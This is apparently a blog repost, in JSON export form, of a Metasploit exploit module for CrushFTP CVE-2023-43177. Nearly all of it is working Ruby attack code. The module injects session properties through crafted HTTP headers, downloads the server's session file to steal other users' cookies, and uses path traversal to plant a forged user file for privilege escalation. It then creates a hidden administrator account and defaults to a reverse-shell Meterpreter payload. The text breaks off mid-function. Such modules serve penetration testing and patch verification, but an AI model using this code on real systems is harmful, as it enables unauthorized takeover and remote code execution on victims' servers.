{"id":56260,"date":"2024-04-15T21:19:37","date_gmt":"2024-04-15T17:19:37","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178067\/crushftp_rce_cve_2023_43177.rb.txt"},"modified":"2024-04-15T21:19:37","modified_gmt":"2024-04-15T17:19:37","slug":"crushftp-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/crushftp-remote-code-execution\/","title":{"rendered":"CrushFTP Remote Code Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Exploit::FileDropper<br \/>include Msf::Exploit::Remote::Java::HTTP::ClassLoader<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>class CrushFtpError &lt; StandardError; end<br \/>class CrushFtpNoAccessError &lt; CrushFtpError; end<br \/>class CrushFtpNotFoundError &lt; CrushFtpError; end<br \/>class CrushFtpUnknown &lt; CrushFtpError; end<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;CrushFTP Unauthenticated RCE&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This exploit module leverages an Improperly Controlled Modification<br \/>of Dynamically-Determined Object Attributes vulnerability<br \/>(CVE-2023-43177) to achieve unauthenticated remote code execution.<br \/>This affects CrushFTP versions prior to 10.5.1.<\/p>\n<p>It is possible to set some user&#8217;s session properties by sending an HTTP<br \/>request with specially crafted Header key-value pairs. This enables an<br \/>unauthenticated attacker to access files anywhere on the server file<br \/>system and steal the session cookies of valid authenticated users. The<br \/>attack consists in hijacking a user&#8217;s session and escalates privileges<br \/>to obtain full control of the target. Remote code execution is obtained<br \/>by abusing the dynamic SQL driver loading and configuration testing<br \/>feature.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Ryan Emmons&#8217;, # Initial research, discovery and PoC<br \/>&#8216;Christophe De La Fuente&#8217; # Metasploit module<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/convergetp.com\/2023\/11\/16\/crushftp-zero-day-cve-2023-43177-discovered\/&#8217;],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/the-emmons\/CVE-2023-43177\/blob\/main\/CVE-2023-43177.py&#8217;],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/www.crushftp.com\/crush10wiki\/Wiki.jsp?page=Update&#8217;],<br \/>[ &#8216;CVE&#8217;, &#8216;2023-43177&#8217;],<br \/>[ &#8216;CWE&#8217;, &#8216;913&#8217; ]],<br \/>&#8216;Platform&#8217; =&gt; %w[java unix linux win],<br \/>&#8216;Privileged&#8217; =&gt; true,<br \/>&#8216;Arch&#8217; =&gt; [ARCH_JAVA, ARCH_X64, ARCH_X86],<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/>&#8216;Java&#8217;,<br \/>{<br \/>&#8216;Arch&#8217; =&gt; ARCH_JAVA,<br \/>&#8216;Platform&#8217; =&gt; &#8216;java&#8217;,<br \/># If not set here, Framework will pick this payload anyway and set the default LHOST to the local interface.<br \/># If we set the payload manually to a bind payload (e.g. `java\/meterpreter\/bind_tcp`) the default LHOST will be<br \/># used and the payload will fail if the target is not local (most likely).<br \/># To avoid this, the default payload is set here, which prevent Framework to set a default LHOST.<br \/>&#8216;DefaultOptions&#8217; =&gt; { &#8216;PAYLOAD&#8217; =&gt; &#8216;java\/meterpreter\/reverse_tcp&#8217; }<br \/>}<br \/>],<br \/>[<br \/>&#8216;Linux Dropper&#8217;,<br \/>{<br \/>&#8216;Arch&#8217; =&gt; [ ARCH_X64, ARCH_X86 ],<br \/>&#8216;Platform&#8217; =&gt; &#8216;linux&#8217;<br \/>}<br \/>],<br \/>[<br \/>&#8216;Windows Dropper&#8217;,<br \/>{<br \/>&#8216;Arch&#8217; =&gt; [ ARCH_X64, ARCH_X86 ],<br \/>&#8216;Platform&#8217; =&gt; &#8216;win&#8217;<br \/>}<br \/>],<br \/>],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2023-08-08&#8217;,<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>&#8216;SideEffects&#8217; =&gt; [ARTIFACTS_ON_DISK, IOC_IN_LOGS]}<br \/>)<br \/>)<br \/>register_options(<br \/>[<br \/>Opt::RPORT(8080),<br \/>OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;The base path of the CrushFTP web interface&#8217;, &#8216;\/&#8217;]),<br \/>OptInt.new(&#8216;SESSION_FILE_DELAY&#8217;, [true, &#8216;The delay in seconds between attempts to download the session file&#8217;, 30])<br \/>])<br \/>end<\/p>\n<p>def send_as2_query_api(headers = {})<br \/>rand_username = rand_text_hex(10)<br \/>opts = {<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;WebInterface\/function\/?command=getUsername&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;headers&#8217; =&gt; {<br \/>&#8216;as2-to&#8217; =&gt; rand_text_hex(8),<br \/># Each key-value pair will be added into the current session\u2019s<br \/># `user_info` Properties, which is used by CrushFTP to store information<br \/># about a user&#8217;s session. Here, we set a few properties needed for the<br \/># exploit to work.<br \/>&#8216;user_ip&#8217; =&gt; &#8216;127.0.0.1&#8217;,<br \/>&#8216;dont_log&#8217; =&gt; &#8216;true&#8217;,<br \/># The `user_name` property will be be included in the response to a<br \/># `getUsername` API query. This will be used to make sure the operation<br \/># worked and the other key-value pairs were added to the session&#8217;s<br \/># `user_info` Properties.<br \/>&#8216;user_name&#8217; =&gt; rand_username<br \/>}.merge(headers)<br \/>}<\/p>\n<p># This only works with anonymous sessions, so `#get_anon_session` should be<br \/># called before to make sure the cookie_jar is set with an anonymous<br \/># session cookie.<br \/>res = send_request_cgi(opts)<br \/>raise CrushFtpNoAccessError, &#8216;[send_as2_query_api] Could not connect to the web server &#8211; no response&#8217; if res.nil?<\/p>\n<p>xml_response = res.get_xml_document<br \/>if xml_response.xpath(&#8216;\/\/loginResult\/response&#8217;).text != &#8216;success&#8217;<br \/>raise CrushFtpUnknown, &#8216;[send_as2_query_api] The API returned a non-successful response&#8217;<br \/>end<\/p>\n<p># Checking the forged username returned in the response<br \/>unless xml_response.xpath(&#8216;\/\/loginResult\/username&#8217;).text == rand_username<br \/>raise CrushFtpUnknown, &#8216;[send_as2_query_api] username not found in response, the exploit didn\\&#8217;t work&#8217;<br \/>end<\/p>\n<p>res<br \/>end<\/p>\n<p>def send_query_api(command:, cookie: nil, vars: {}, multipart: false, timeout: 20)<br \/>opts = {<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;WebInterface\/function\/&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;<br \/>}<br \/>if multipart<br \/>opts[&#8216;vars_form_data&#8217;] = [<br \/>{<br \/>&#8216;name&#8217; =&gt; &#8216;command&#8217;,<br \/>&#8216;data&#8217; =&gt; command<br \/>},<br \/>]unless cookie.blank?<br \/>opts[&#8216;vars_form_data&#8217;] &lt;&lt; {<br \/>&#8216;name&#8217; =&gt; &#8216;c2f&#8217;,<br \/>&#8216;data&#8217; =&gt; cookie.last(4)<br \/>}<br \/>end<br \/>opts[&#8216;vars_form_data&#8217;] += vars unless vars.empty?<br \/>else<br \/>opts[&#8216;vars_post&#8217;] = {<br \/>&#8216;command&#8217; =&gt; command<br \/>}.merge(vars)<br \/>opts[&#8216;vars_post&#8217;][&#8216;c2f&#8217;] = cookie.last(4) unless cookie.blank?<br \/>end<br \/>opts[&#8216;cookie&#8217;] = &#8220;CrushAuth=#{cookie}; currentAuth=#{cookie.last(4)}&#8221; unless cookie.nil?<\/p>\n<p>res = send_request_cgi(opts, timeout)<br \/>raise CrushFtpNoAccessError, &#8216;[send_query_api] Could not connect to the web server &#8211; no response&#8217; if res.nil?<\/p>\n<p>res<br \/>end<\/p>\n<p>def get_anon_session<br \/>vprint_status(&#8216;Getting a new anonymous session&#8217;)<br \/>cookie_jar.clear<br \/>res = send_request_cgi(<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;WebInterface&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;keep_cookies&#8217; =&gt; true<br \/>)<br \/>raise CrushFtpNoAccessError, &#8216;[get_anon_session] Could not connect to the web server &#8211; no response&#8217; if res.nil?<\/p>\n<p>match = res.get_cookies.match(\/CrushAuth=(?&lt;cookie&gt;\\d{13}_[A-Za-z0-9]{30})\/)<br \/>raise CrushFtpNotFoundError, &#8216;[get_anon_session] Could not get the `currentAuth` cookie&#8217; unless match<\/p>\n<p>vprint_status(&#8220;Anonymous session cookie: #{match[:cookie]}&#8221;)<br \/>match[:cookie]end<\/p>\n<p>def check<br \/>vprint_status(&#8216;Checking CrushFTP Server&#8217;)<br \/>res = send_request_cgi(<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;WebInterface&#8217;, &#8216;login.html&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;<br \/>)<br \/>return CheckCode::Unknown(&#8216;Could not connect to the web server &#8211; no response&#8217;) if res.nil?<br \/>return CheckCode::Safe(&#8216;The web server is not running CrushFTP&#8217;) unless res.body =~ \/crushftp\/i<\/p>\n<p>cookie = get_anon_session<\/p>\n<p>vprint_status(&#8216;Checking if the attack primitive works&#8217;)<br \/># This will raise an exception in case of error<br \/>send_as2_query_api<\/p>\n<p>do_logout(cookie)<\/p>\n<p>CheckCode::Appears<br \/>rescue CrushFtpError =&gt; e<br \/>CheckCode::Unknown(&#8220;#{e.class} &#8211; #{e.message}&#8221;)<br \/>end<\/p>\n<p>def rand_dir<br \/>@rand_dir ||= &#8220;WebInterface\/Resources\/libs\/jq-3.6.0_#{rand_text_hex(10)}-js\/&#8221;<br \/>end<\/p>\n<p>def get_session_file<br \/># Setting this here to be reachable by the ensure block<br \/>cookie = nil<br \/>begin<br \/>cookie = get_anon_session<br \/>rescue CrushFtpError =&gt; e<br \/>print_bad(&#8220;[get_session_file] Unable to get an anonymous session: #{e.class} &#8211; #{e.message}&#8221;)<br \/>return nil<br \/>end<\/p>\n<p>vprint_status(&#8220;Getting session file at `#{rand_dir}`&#8221;)<br \/>headers = {<br \/>&#8216;filename&#8217; =&gt; &#8216;\/&#8217;,<br \/>&#8216;user_protocol_proxy&#8217; =&gt; rand_text_hex(8),<br \/>&#8216;user_log_file&#8217; =&gt; &#8216;sessions.obj&#8217;,<br \/>&#8216;user_log_path&#8217; =&gt; &#8216;.\/&#8217;,<br \/>&#8216;user_log_path_custom&#8217; =&gt; File.join(&#8216;.&#8217;, rand_dir)<br \/>}<br \/>send_as2_query_api(headers)<br \/>formatted_dir = File.join(&#8216;.&#8217;, rand_dir.delete_suffix(&#8216;\/&#8217;))<br \/>register_dirs_for_cleanup(formatted_dir) unless @dropped_dirs.include?(formatted_dir)<\/p>\n<p>res = send_request_cgi(<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, rand_dir, &#8216;sessions.obj&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;<br \/>)<br \/>unless res&amp;.code == 200<br \/>print_bad(&#8216;[get_session_file] Could not connect to the web server &#8211; no response&#8217;) if res.nil?<br \/>print_bad(&#8216;[get_session_file] Could not steal the session file&#8217;)<br \/>return nil<br \/>end<br \/>print_good(&#8216;Session file downloaded&#8217;)<\/p>\n<p>tmp_hash = Rex::Text.md5(res.body)<br \/>if @session_file_hash == tmp_hash<br \/>vprint_status(&#8216;Session file has not changed yet, skipping&#8217;)<br \/>return nil<br \/>end<br \/>@session_file_hash = tmp_hash<\/p>\n<p>res.body<br \/>rescue CrushFtpError =&gt; e<br \/>print_bad(&#8220;[get_session_file] Unknown failure:#{e.class} &#8211; #{e.message}&#8221;)<br \/>return nil<br \/>ensure<br \/>do_logout(cookie) if cookie<br \/>end<\/p>\n<p>def check_sessions(session_file)<br \/>valid_sessions = []session_cookies = session_file.scan(\/\\d{13}_[A-Za-z0-9]{30}\/).uniq<br \/>vprint_status(&#8220;Found #{session_cookies.size} session cookies in the session file&#8221;)<br \/>session_cookies.each do |cookie|<br \/>res = send_query_api(command: &#8216;getUsername&#8217;, cookie: cookie)<br \/>username = res.get_xml_document.xpath(&#8216;\/\/loginResult\/username&#8217;).text<br \/>if username == &#8216;anonymous&#8217;<br \/>vprint_status(&#8220;Cookie `#{cookie}` is an anonymous session&#8221;)<br \/>elsif username.empty?<br \/>vprint_status(&#8220;Cookie `#{cookie}` is not valid&#8221;)<br \/>else<br \/>vprint_status(&#8220;Cookie `#{cookie}` is valid session (username: #{username})&#8221;)<br \/>valid_sessions &lt;&lt; { cookie: cookie, username: username }<br \/>end<br \/>rescue CrushFtpError =&gt; e<br \/>print_bad(&#8220;[check_sessions] Error while checking cookie `#{cookie}`: #{e.class} &#8211; #{e.message}&#8221;)<br \/>end<br \/>valid_sessions<br \/>end<\/p>\n<p>def check_admin_and_windows(cookie)<br \/>res = send_query_api(command: &#8216;getDashboardItems&#8217;, cookie: cookie)<\/p>\n<p>is_windows = res.get_xml_document.xpath(&#8216;\/\/result\/response_data\/result_value\/machine_is_windows&#8217;).text<br \/>return nil if is_windows.blank?<br \/>return true if is_windows == &#8216;true&#8217;<\/p>\n<p>false<br \/>rescue CrushFtpError<br \/>vprint_status(&#8220;[check_admin_and_get_os_family] Cookie #{cookie} doesn&#8217;t have access to the `getDashboardItems` API, it is not an admin session&#8221;)<br \/>nil<br \/>end<\/p>\n<p>def get_writable_dir(path, cookie)<br \/>res = send_query_api(command: &#8216;getXMLListing&#8217;, cookie: cookie, vars: { &#8216;path&#8217; =&gt; path, &#8216;random&#8217; =&gt; &#8220;0.#{rand_text_numeric(17)}&#8221; })<br \/>xml_doc = res.get_xml_document<br \/>current_path = xml_doc.xpath(&#8216;\/\/listingInfo\/path&#8217;).text<br \/>if xml_doc.xpath(&#8216;\/\/listingInfo\/privs&#8217;).text.include?(&#8216;(write)&#8217;)<br \/>return current_path<br \/>end<\/p>\n<p>res.get_xml_document.xpath(&#8216;\/\/listingInfo\/listing\/listing_subitem&#8217;).each do |subitem|<br \/>if subitem.at(&#8216;type&#8217;).text == &#8216;DIR&#8217;<br \/>dir = get_writable_dir(File.join(current_path, subitem.at(&#8216;href_path&#8217;).text), cookie)<br \/>return dir unless dir.nil?<br \/>end<br \/>end<\/p>\n<p>nil<br \/>rescue CrushFtpError =&gt; e<br \/>print_bad(&#8220;[get_writable_dir] Unknown failure: #{e.class} &#8211; #{e.message}&#8221;)<br \/>nil<br \/>end<\/p>\n<p>def upload_file(file_path, file_content, id, cookie)<br \/>file_size = file_content.size<br \/>vars = [<br \/>{ &#8216;name&#8217; =&gt; &#8216;upload_path&#8217;, &#8216;data&#8217; =&gt; file_path },<br \/>{ &#8216;name&#8217; =&gt; &#8216;upload_size&#8217;, &#8216;data&#8217; =&gt; file_size },<br \/>{ &#8216;name&#8217; =&gt; &#8216;upload_id&#8217;, &#8216;data&#8217; =&gt; id },<br \/>{ &#8216;name&#8217; =&gt; &#8216;start_resume_loc&#8217;, &#8216;data&#8217; =&gt; &#8216;0&#8217; }<br \/>]res = send_query_api(command: &#8216;openFile&#8217;, cookie: cookie, vars: vars, multipart: true)<br \/>response_msg = res.get_xml_document.xpath(&#8216;\/\/commandResult\/response&#8217;).text<br \/>if response_msg != id<br \/>raise CrushFtpUnknown, &#8220;Unable to upload #{file_path}: #{response_msg}&#8221;<br \/>end<\/p>\n<p>form_data = Rex::MIME::Message.new<br \/>form_data.add_part(file_content, &#8216;application\/octet-stream&#8217;, &#8216;binary&#8217;, &#8220;form-data; name=\\&#8221;CFCD\\&#8221;; filename=\\&#8221;#{file_path}\\&#8221;&#8221;)<br \/>post_data = form_data.to_s<br \/>post_data.sub!(&#8220;Content-Transfer-Encoding: binary\\r\\n&#8221;, &#8221;)<\/p>\n<p>send_request_cgi(<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;U&#8217;, &#8220;#{id}~1~#{file_size}&#8221;),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;cookie&#8217; =&gt; &#8220;CrushAuth=#{cookie}; currentAuth=#{cookie.last(4)}&#8221;,<br \/>&#8216;ctype&#8217; =&gt; &#8220;multipart\/form-data; boundary=#{form_data.bound}&#8221;,<br \/>&#8216;data&#8217; =&gt; post_data<br \/>)<\/p>\n<p>vars = [<br \/>{ &#8216;name&#8217; =&gt; &#8216;upload_id&#8217;, &#8216;data&#8217; =&gt; id },<br \/>{ &#8216;name&#8217; =&gt; &#8216;total_chunks&#8217;, &#8216;data&#8217; =&gt; &#8216;1&#8217; },<br \/>{ &#8216;name&#8217; =&gt; &#8216;total_bytes&#8217;, &#8216;data&#8217; =&gt; file_size },<br \/>{ &#8216;name&#8217; =&gt; &#8216;filePath&#8217;, &#8216;data&#8217; =&gt; file_path },<br \/>{ &#8216;name&#8217; =&gt; &#8216;lastModified&#8217;, &#8216;data&#8217; =&gt; DateTime.now.strftime(&#8216;%Q&#8217;) },<br \/>{ &#8216;name&#8217; =&gt; &#8216;start_resume_loc&#8217;, &#8216;data&#8217; =&gt; &#8216;0&#8217; }<br \/>]send_query_api(command: &#8216;closeFile&#8217;, cookie: cookie, vars: vars, multipart: true)<br \/>end<\/p>\n<p>def check_egg(session_file, egg)<br \/>path = session_file.match(%r{FILE:\/\/.*?#{egg}})<br \/>return nil unless path<\/p>\n<p>path = path[0]vprint_status(&#8220;Found the egg at #{path} in the session file&#8221;)<br \/>if (match = path.match(%r{^FILE:\/\/(?&lt;path&gt;[A-Z]:.*)#{egg}}))<br \/>print_good(&#8220;Found path `#{match[:path]}` and it is Windows&#8221;)<br \/>elsif (match = path.match(%r{^FILE:\/(?&lt;path&gt;.*)#{egg}}))<br \/>print_good(&#8220;Found path `#{match[:path]}` and it is Unix-like&#8221;)<br \/>end<br \/>match[:path]end<\/p>\n<p>def move_user_xml(admin_username, writable_dir)<br \/>headers = {<br \/>&#8216;filename&#8217; =&gt; &#8216;\/&#8217;,<br \/>&#8216;user_protocol_proxy&#8217; =&gt; rand_text_hex(8),<br \/>&#8216;user_log_file&#8217; =&gt; &#8216;user.XML&#8217;,<br \/>&#8216;user_log_path&#8217; =&gt; &#8220;.\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..#{writable_dir}&#8221;,<br \/>&#8216;user_log_path_custom&#8217; =&gt; &#8220;.\/users\/MainUsers\/#{admin_username}\/&#8221;<br \/>}<br \/>send_as2_query_api(headers)<br \/>end<\/p>\n<p>def do_priv_esc_and_check_windows(session)<br \/>vprint_status(&#8216;Looking for a directory with write permissions&#8217;)<br \/>writable_dir = get_writable_dir(&#8216;\/&#8217;, session[:cookie])<br \/>if writable_dir.nil?<br \/>print_bad(&#8216;[do_priv_esc_and_check_windows] The user has no upload permissions, privilege escalation is not possible&#8217;)<br \/>return nil<br \/>end<br \/>print_good(&#8220;Found a writable directory: #{writable_dir}&#8221;)<\/p>\n<p>egg_rand = rand_text_hex(10)<br \/>print_status(&#8220;Uploading the egg file `#{egg_rand}`&#8221;)<br \/>egg_path = File.join(writable_dir, egg_rand)<br \/>begin<br \/>upload_file(egg_path, rand_text_hex(3..6), egg_rand, session[:cookie])<br \/>rescue CrushFtpError =&gt; e<br \/>print_bad(&#8220;[do_priv_esc_and_check_windows] Unable to upload the egg file: #{e.class} &#8211; #{e.message}&#8221;)<br \/>return nil<br \/>end<\/p>\n<p>admin_password = rand_text_hex(10)<br \/>user_xml = &lt;&lt;~XML.gsub!(\/\\n *\/, &#8221;)<br \/>&lt;?xml version=&#8217;1.0&#8242; encoding=&#8217;UTF-8&#8242;?&gt;<br \/>&lt;user type=&#8217;properties&#8217;&gt;<br \/>&lt;username&gt;#{session[:username]}&lt;\/username&gt;<br \/>&lt;password&gt;MD5:#{Rex::Text.md5(admin_password)}&lt;\/password&gt;<br \/>&lt;extra_vfs type=&#8217;vector&#8217;&gt;&lt;\/extra_vfs&gt;<br \/>&lt;version&gt;1.0&lt;\/version&gt;<br \/>&lt;userVersion&gt;6&lt;\/userVersion&gt;<br \/>&lt;created_by_username&gt;crushadmin&lt;\/created_by_username&gt;<br \/>&lt;created_by_email&gt;&lt;\/created_by_email&gt;<br \/>&lt;created_time&gt;#{DateTime.now.strftime(&#8216;%Q&#8217;)}&lt;\/created_time&gt;<br \/>&lt;filePublicEncryptionKey&gt;&lt;\/filePublicEncryptionKey&gt;<br \/>&lt;fileDecryptionKey&gt;&lt;\/fileDecryptionKey&gt;<br \/>&lt;max_logins&gt;0&lt;\/max_logins&gt;<br \/>&lt;root_dir&gt;\/&lt;\/root_dir&gt;<br \/>&lt;site&gt;(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)&lt;\/site&gt;<br \/>&lt;password_history&gt;&lt;\/password_history&gt;<br \/>&lt;\/user&gt;<br \/>XML<br \/>xml_path = File.join(writable_dir, &#8216;user.XML&#8217;)<br \/>print_status(&#8220;Uploading `user.XML` to #{xml_path}&#8221;)<br \/>begin<br \/>upload_file(xml_path, user_xml, rand_text_hex(10), session[:cookie])<br \/>rescue CrushFtpError =&gt; e<br \/>print_bad(&#8220;[do_priv_esc_and_check_windows] Unable to upload `user.XML`: #{e.class} &#8211; #{e.message}&#8221;)<br \/>return nil<br \/>end<\/p>\n<p>path = nil<br \/>loop do<br \/>print_status(&#8216;Looking for the egg in the session file&#8217;)<br \/>session_file = get_session_file<br \/>if session_file<br \/>path = check_egg(session_file, egg_rand)<br \/>break if path<br \/>end<br \/>print_status(&#8220;Egg not found, wait #{datastore[&#8216;SESSION_FILE_DELAY&#8217;]} seconds and try again&#8230; (Ctrl-C to exit)&#8221;)<br \/>sleep datastore[&#8216;SESSION_FILE_DELAY&#8217;]end<br \/>print_good(&#8220;Found the file system path: #{path}&#8221;)<br \/>register_files_for_cleanup(File.join(path, egg_rand))<\/p>\n<p>cookie = nil<br \/>begin<br \/>cookie = get_anon_session<br \/>rescue CrushFtpError =&gt; e<br \/>print_bad(&#8220;[do_priv_esc_and_check_windows] Unable to get an anonymous session: #{e.class} &#8211; #{e.message}&#8221;)<br \/>return nil<br \/>end<br \/>admin_username = rand_text_hex(10)<br \/>vprint_status(&#8220;The forged user will be `#{admin_username}`&#8221;)<br \/>vprint_status(&#8220;Moving user.XML from #{path} to `#{admin_username}` home folder and elevate privileges&#8221;)<br \/>is_windows = path.match(\/^[A-Z]:(?&lt;path&gt;.*)\/)<br \/>move_user_xml(admin_username, is_windows ? Regexp.last_match(:path) : path)<\/p>\n<p>do_logout(cookie)<br \/># `cookie` is explicitly set to `nil` here to make sure the ensure block<br \/># won&#8217;t log it out again if the next call to `do_login` raises an<br \/># exception. Without this line, if `do_login` raises an exception, `cookie`<br \/># will still contain the value of the previous session cookie, which should<br \/># have been logged out at this point. The ensure block will try to logout<br \/># the same session again.<br \/>cookie = nil<\/p>\n<p>print_status(&#8216;Logging into the elevated account&#8217;)<br \/>cookie = do_login(admin_username, admin_password)<br \/>fail_with(Failure::NoAccess, &#8216;Unable to login with the elevated account&#8217;) unless cookie<\/p>\n<p>print_good(&#8216;Logged in! Now let\\&#8217;s create a temporary admin account&#8217;)<br \/>[create_admin_account(cookie, is_windows), is_windows]ensure<br \/>do_logout(cookie) if cookie<br \/>end<\/p>\n<p>def create_admin_account(cookie, is_windows)<br \/># This creates an administrator account with the required VFS setting for the exploit to work<br \/>admin_username = rand_text_hex(10)<br \/>admin_password = rand_text_hex(10)<br \/>user_xml = &lt;&lt;~XML.gsub!(\/\\n *\/, &#8221;)<br \/>&lt;?xml version=&#8217;1.0&#8242; encoding=&#8217;UTF-8&#8242;?&gt;<br \/>&lt;user type=&#8217;properties&#8217;&gt;<br \/>&lt;username&gt;#{admin_username}&lt;\/username&gt;<br \/>&lt;password&gt;#{admin_password}&lt;\/password&gt;<br \/>&lt;extra_vfs type=&#8217;vector&#8217;&gt;&lt;\/extra_vfs&gt;<br \/>&lt;version&gt;1.0&lt;\/version&gt;<br \/>&lt;userVersion&gt;6&lt;\/userVersion&gt;<br \/>&lt;created_by_username&gt;crushadmin&lt;\/created_by_username&gt;<br \/>&lt;created_by_email&gt;&lt;\/created_by_email&gt;<br \/>&lt;created_time&gt;#{DateTime.now.strftime(&#8216;%Q&#8217;)}&lt;\/created_time&gt;<br \/>&lt;filePublicEncryptionKey&gt;&lt;\/filePublicEncryptionKey&gt;<br \/>&lt;fileDecryptionKey&gt;&lt;\/fileDecryptionKey&gt;<br \/>&lt;max_logins&gt;0&lt;\/max_logins&gt;<br \/>&lt;root_dir&gt;\/&lt;\/root_dir&gt;<br \/>&lt;site&gt;(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)&lt;\/site&gt;<br \/>&lt;password_history&gt;&lt;\/password_history&gt;<br \/>&lt;\/user&gt;<br \/>XML<\/p>\n<p>url = is_windows ? &#8216;FILE:\/\/C:\/Users\/Public\/&#8217; : &#8216;FILE:\/\/var\/tmp\/&#8217;<\/p>\n<p>vfs_xml = &lt;&lt;~XML.gsub!(\/\\n *\/, &#8221;)<br \/>&lt;?xml version=&#8217;1.0&#8242; encoding=&#8217;UTF-8&#8242;?&gt;<br \/>&lt;vfs_items type=&#8217;vector&#8217;&gt;<br \/>&lt;vfs_items_subitem type=&#8217;properties&#8217;&gt;<br \/>&lt;name&gt;tmp&lt;\/name&gt;<br \/>&lt;path&gt;\/&lt;\/path&gt;<br \/>&lt;vfs_item type=&#8217;vector&#8217;&gt;<br \/>&lt;vfs_item_subitem type=&#8217;properties&#8217;&gt;<br \/>&lt;type&gt;DIR&lt;\/type&gt;<br \/>&lt;url&gt;#{url}&lt;\/url&gt;<br \/>&lt;\/vfs_item_subitem&gt;<br \/>&lt;\/vfs_item&gt;<br \/>&lt;\/vfs_items_subitem&gt;<br \/>&lt;\/vfs_items&gt;<br \/>XML<\/p>\n<p>perms_xml = &lt;&lt;~XML.gsub!(\/\\n *\/, &#8221;)<br \/>&lt;?xml version=&#8217;1.0&#8242; encoding=&#8217;UTF-8&#8242;?&gt;<br \/>&lt;VFS type=&#8217;properties&#8217;&gt;<br \/>&lt;item name=&#8217;\/&#8217;&gt;<br \/>(read)(view)(resume)<br \/>&lt;\/item&gt;<br \/>&lt;item name=&#8217;\/TMP\/&#8217;&gt;<br \/>(read)(write)(view)(delete)(deletedir)(makedir)(rename)(resume)(share)(slideshow)<br \/>&lt;\/item&gt;<br \/>&lt;\/VFS&gt;<br \/>XML<\/p>\n<p>vars_post = {<br \/>&#8216;data_action&#8217; =&gt; &#8216;new&#8217;,<br \/>&#8216;serverGroup&#8217; =&gt; &#8216;MainUsers&#8217;,<br \/>&#8216;username&#8217; =&gt; admin_username,<br \/>&#8216;user&#8217; =&gt; user_xml,<br \/>&#8216;xmlItem&#8217; =&gt; &#8216;user&#8217;,<br \/>&#8216;vfs_items&#8217; =&gt; vfs_xml,<br \/>&#8216;permissions&#8217; =&gt; perms_xml<br \/>}<\/p>\n<p>res = send_query_api(command: &#8216;setUserItem&#8217;, cookie: cookie, vars: vars_post)<br \/>return nil if res.body.include?(&#8216;Access Denied&#8217;) || res.code == 404<\/p>\n<p>{ username: admin_username, password: admin_password }<br \/>rescue CrushFtpError =&gt; e<br \/>print_bad(&#8220;[create_admin_account] Unknown failure: #{e.class} &#8211; #{e.message}&#8221;)<br \/>nil<br \/>end<\/p>\n<p>def do_login(username, password)<br \/>vprint_status(&#8220;[do_login] Logging in with username `#{username}` and password `#{password}`&#8221;)<br \/>vars = {<br \/>&#8216;username&#8217; =&gt; username,<br \/>&#8216;password&#8217; =&gt; password,<br \/>&#8216;encoded&#8217; =&gt; &#8216;true&#8217;,<br \/>&#8216;language&#8217; =&gt; &#8216;en&#8217;,<br \/>&#8216;random&#8217; =&gt; &#8220;0.#{rand_text_numeric(17)}&#8221;<br \/>}<br \/>res = send_query_api(command: &#8216;login&#8217;, cookie: &#8221;, vars: vars)<br \/>unless res.code == 200 &amp;&amp; res.get_xml_document.xpath(&#8216;\/\/loginResult\/response&#8217;).text.include?(&#8216;success&#8217;)<br \/>print_bad(&#8216;[do_login] Login failed&#8217;)<br \/>return nil<br \/>end<\/p>\n<p>match = res.get_cookies.match(\/CrushAuth=(?&lt;cookie&gt;\\d{13}_[A-Za-z0-9]{30})\/)<br \/>unless match<br \/>print_bad(&#8216;[do_login] Cannot find session cookie in response&#8217;)<br \/>return nil<br \/>end<\/p>\n<p>match[:cookie]end<\/p>\n<p>def do_logout(cookie)<br \/>vprint_status(&#8220;Logging out session cookie `#{cookie}`&#8221;)<br \/>vars = {<br \/>&#8216;random&#8217; =&gt; &#8220;0.#{rand_text_numeric(17)}&#8221;<br \/>}<br \/>res = send_query_api(command: &#8216;logout&#8217;, cookie: cookie, vars: vars)<br \/>unless res.code == 200 &amp;&amp; res.get_xml_document.xpath(&#8216;\/\/commandResult\/response&#8217;).text.include?(&#8216;Logged out&#8217;)<br \/>vprint_bad(&#8216;[do_logout] Unable to 